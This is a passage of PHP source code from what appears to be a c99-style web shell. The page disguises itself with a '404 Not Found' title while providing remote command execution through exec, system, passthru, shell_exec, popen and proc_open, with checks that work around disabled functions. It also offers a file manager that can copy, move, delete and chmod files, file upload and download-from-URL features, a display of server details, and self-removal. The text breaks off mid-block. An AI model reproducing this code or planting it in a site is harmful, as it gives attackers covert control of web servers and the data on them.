if (isset($_POST['base64'])) $base64 = $_POST['base64'];
if (isset($_POST['fullhexdump'])) $fullhexdump = $_POST['fullhexdump'];
if (isset($_POST['c'])) $c = $_POST['c'];
if (isset($_POST['white'])) $white = $_POST['white'];
if (isset($_POST['nixpasswd'])) $nixpasswd = $_POST['nixpasswd'];
$lastdir = realpath(".");
chdir($curdir);
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
global $sess_cookie;
global $sess_data;
c99_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
//*********
function runExternal($cmd,&$code) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$pipes= array();
$process = proc_open($cmd, $descriptorspec, $pipes);
$output= "";
if (!is_resource($process)) return false;
fclose($pipes[0]);
stream_set_blocking($pipes[1],false);
stream_set_blocking($pipes[2],false);
$todo= array($pipes[1],$pipes[2]);
while( true ) {
$read= array();
if( !feof($pipes[1]) ) $read[]= $pipes[1];
if( !feof($pipes[2]) ) $read[]= $pipes[2];
if (!$read) break;
$ready= stream_select($read, $write=NULL, $ex= NULL, 2);
if ($ready === false) {
break;
}
foreach ($read as $r) {
$s= fread($r,1024);
$output.= $s;
}
}
fclose($pipes[1]);
fclose($pipes[2]);
$code= proc_close($process);
return $output;
}
//**********
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("shell_exec") and !in_array("shell_exec",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); shell_exec($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
if ($result=='' and $_POST['cmdmod']=='ok'){
$result= runExternal($cmd,$code);
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {c99fsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function c99nulledoff()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"#\" onclick=\"document.todo.act.value='phpinfo';document.todo.submit();\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string",$highlight_string);
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>404 Not Found</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><scrIPT LANGUAGE="Javascript">function openEx(url){ w = window.open(); w.document.write('<meta http-equiv="refresh" content="0;url='+url+'">'); w.document.close(); return false;} function showmod(id){ dd=window.open('',id,'height=400,width=750,resizable=1,scrollbars=1');document.go.scr.value=id;document.go.target=id; document.go.submit();dd.focus(); setTimeout("document.go.scr.value='go';document.go.target='_self'",500); }</scrIPT><form method=post name="go"><input type=hidden name="scr" value="go"><input type="hidden" name="sview" value="go" /></form><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Server IP: <?php echo $_SERVER["SERVER_ADDR"]; ?></b> </p><p align="left"><b>Software: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
$i++;
}
echo " ";
if (is_writable($d))
{
$wd = TRUE;
$wdt = "<font color=green>[ ok ]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
$wd = FALSE;
$wdt = "<font color=red>[ Read-Only ]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
$v = explode("\\",$d);
$v = $v[0];
foreach (range("a","z") as $letter)
{
$bool = $isdiskette = in_array($letter,$safemode_diskettes);
if (!$bool) {$bool = is_dir($letter.":\\");}
if ($bool)
{
$letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\\")."';document.todo.submit();\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=green>".$letter."</font>";}
$letters .= " ]</a> ";
}
}
if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a> ";
}
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
echo "<br><br>";
}
$act = $dspact = "ls";
}
if ($act == "d")
{
if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
else
{
echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
}
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99nulledoff();}
if ($act == "mkfile")
{
if ($mkfile != $d)
{
if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "logout") {
gocookie('c99pass','');
echo"Logout: ok";
}
if ($act == "selfremove")
{
if (($submit == $rndcode) and ($submit != ""))
{
if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using Shell v.".$shver."!"; c99nulledoff(); }
else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
}
else
{
if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
}
}
if ($act == "search")
{
echo "<b>Search in file-system:</b><br>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit))
{
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=>$search_name, "name_regexp"=>$search_name_regexp,
"text"=>$search_text, "text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {c99fsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "<b>No files found!</b>";}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
}
if ($ft == "rename")
{
if($renamez=='ok') {
echo '<center><b>Renamed: '.(@rename($d.$f,$d.$newname) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
$act = "ls";
}
}
if ($act == "chmod")
{
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
else
{
if($chmoded=='ok') {
$chmodwho= base_convert(trim($chmodwho),8,10);
echo '<center><b>Modify file attributes: '.(@chmod($d.$f, $chmodwho) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
$act = "ls";
}else{
$chmodik=substr(decoct(fileperms($d.$f)),-4,4);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".$chmodik.")</b>";
echo '<br><br>';
echo '<b>Chmod:</b> <form method="POST">
<input name=\'act\' type=\'hidden\' value=\'chmod\'>
<input name=\'f\' type=\'hidden\' value='.urlencode($f).'>
<input name="d" type="hidden" value='.urlencode($d).'>
<input name=\'chmoded\' type=\'hidden\' value=\'ok\'>
<input type="text" name="chmodwho" size="50" value="'.$chmodik.'">
<input type=submit value="Go"></form>';
echo'<br>'; }
}
}
function wwwcopy($file,$nfile)
{
$fp = @fopen($file,"rb");
while(!feof($fp))
{
$cont.= fread($fp,1024);
}
fclose($fp);
$fp2 = @fopen($nfile,"w");
if (!( fwrite($fp2,$cont))){$cont='';}
fclose($fp2);
if (!file_exists($nfile) or $cont=='') { return false;} else { return true;}
}
if ($act == "upload2")
{
if (trim($wgetfile)==''){
if(trim($obzfname)==''){$ffnam=$_FILES['uploadfile']['name'];}else{$ffnam=trim($obzfname);}
echo '<center><b>File upload '.(@copy($_FILES['uploadfile']['tmp_name'],trim($uploaddir).'/'.$ffnam) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
$act='ls';}else
{
$wgourl = str_replace("http://", "", trim($wgetfile));
$faname=substr(strrchr($wgetfile, "/"), 1 );
if($fnamewget==''){$faname=$faname;}else{$faname=$fnamewget;}
echo '<center><b>WGET File upload '.(@wwwcopy('http://'.$wgourl,trim($uploaddir).$faname) ? '<font color=green>success</font>' : '<font color=red>failed</font>').'</b></center>'.$closetable;
$act='ls';
}
}
if ($act == "upload")
{
